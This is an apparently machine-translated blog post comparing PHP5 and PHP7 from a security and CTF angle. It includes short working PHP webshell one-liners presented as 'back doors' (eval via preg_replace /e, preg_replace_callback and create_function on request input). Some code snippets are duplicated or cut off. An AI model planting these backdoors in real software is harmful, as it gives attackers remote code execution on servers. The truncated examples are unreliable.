safety differences between php7 and php5

Posted by fierce at 2020-04-17

Function modification

The / E modifier is no longer supported by preg_replace()

<?php preg_replace("/.*/e",$_GET["h"],"."); ?> 如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线()和 NULL 字符在 后向引用替换时会被用反斜线转义.

Unfortunately, the \ e modifier is not supported in versions above php7. At the same time, we are officially given a new function preg_replace_callback:

Here we can use it as our back door with a little change:

<?php preg_replace_callback("/.*/",function ($a){@eval($a[0]);},$_GET["h"]); ?>

Create_function() is discarded

<?php $func =create_function('',$_POST['cmd']);$func(); ?>

There is less function that can be used as a back door. In fact, it is implemented by executing eval. not essential.

Remove all members of MySQL series

If you want to use the old version of MySQL * series functions on php7, you need to install them additionally. The official does not bring them. Now the official recommendation is MySQL I or PDO mysql. Does this indicate a significant reduction of SQL injection vulnerabilities in PHP in the future~


Unserialize() adds an optional whitelist parameter

In fact, it is a white list. If the class name in the anti sequence data is not in the white list, an error will be reported.

$data = unserialize($serializedObj1 , ["allowed_classes" => true]);

$data2 = unserialize($serializedObj2 , ["allowed_classes" => ["MyClass1", "MyClass2"]]);

$data = unserialize($serializedObj1 , ["allowed_classes" => true]);

$data2 = unserialize($serializedObj2 , ["allowed_classes" => ["MyClass1", "MyClass2"]]);

Report a mistake like this!

It can be a class name or a Boolean data. If it is false, all objects will be converted to PHP incomplete class objects. True is unlimited. You can also pass in the class name to implement the white list.


Assert () is no longer executable by default

This is the culprit that many horses can't use. Too many horses use assert() to execute the code. This update is basically destroyed. In general, it can be modified to eval to run normally~

Syntax modification

Foreach no longer changes the internal array pointer

<?php $a = array('1','2','3'); foreach ($a as $k=>&$n){ echo "";


print_r($a); foreach ($a as $k=>$n){ echo "";



<?php $a = array('1','2','3'); foreach ($a as $k=>&$n){ echo "";


print_r($a); foreach ($a as $k=>$n){ echo "";


Print_r ($a);

In PHP5, such code is the execution result:

Because the $value reference of the last element of the array will remain after the foreach loop, in the second loop, it is actually the constant assignment of the previous pointer. When traversing through values in php7, the value of the operation is a copy of the array, which will not affect subsequent operations.

This change affects that some holes in CMS cannot be used in php7 You know which hole I mean.


Reduced fault tolerance of octal characters

In PHP5, if an octal character contains an invalid number, the invalid number will be silently truncated.

<?php echo octdec( '012999999999999' ) . "\n"; echo octdec( '012' ) . "\n"; if (octdec( '012999999999999' )==octdec( '012' )){ echo ": )". "\n";


<?php echo octdec( '012999999999999' ) . "\n"; echo octdec( '012' ) . "\n"; if (octdec( '012999999999999' )==octdec( '012' )){ echo ": )". "\n";


For example, the execution result of such code in PHP5 is as follows:

However, a parsing error will be triggered in php7.


Hexadecimal strings are no longer considered numbers

After this modification, there will be a lot less CTF routines~

A lot of Sao operations are useless~

There's nothing to say about this. Everyone knows it.

<?php var_dump("0x123" == "291");


var_dump("0xe" + "0x1");

var_dump(substr("foo", "0x1")); ?>

<?php var_dump("0x123" == "291");


var_dump("0xe" + "0x1");

var_dump(substr("foo", "0x1")); ?>

The operation results of the above codes in PHP5 are as follows:

The operation results of php7 are as follows:


Removed ASP and SC rip PHP Tags

Now only tags like <? PHP? > can run on php7.


Extra large floating point type conversion truncation

When converting floating-point numbers to integers, if the floating-point numbers are too large to be expressed as integers, in the PHP 5 version, the conversion will directly truncate the integers without causing errors. In php7, an error is reported.

CTF is short of a set of questions. I have only seen this problem in CTF, and the impact should be small.



exec(), system() passthru()函数对 NULL 增加了保护.



__autoload() 方法被废弃

parse_str() 不加第二个参数会直接把字符串导入当前的符号表,如果加了就会转换称一个数组。现在是第二个参数是强行选项了。


session_start() 可以加入一个数组覆盖php.ini的配置

The exec() system() passthru() function adds protection to null

List () can no longer unpack string variables

$HTTP? Raw? Post? Data removed

__Autoload() method is obsolete

Parse str () will directly import the string into the current symbol table without the second parameter. If it is added, it will be converted into an array. Now the second parameter is the force option.

Unify the integral length of different platforms

Session_start() can add an array to override the configuration of php.ini

This article is about the difference between php7 and PHP5 in terms of safety. I hope it can help the friends in need!

Source: the latest course of PHP

◆ the copyright of this article belongs to the original author. If there is any infringement, please contact us to delete it in time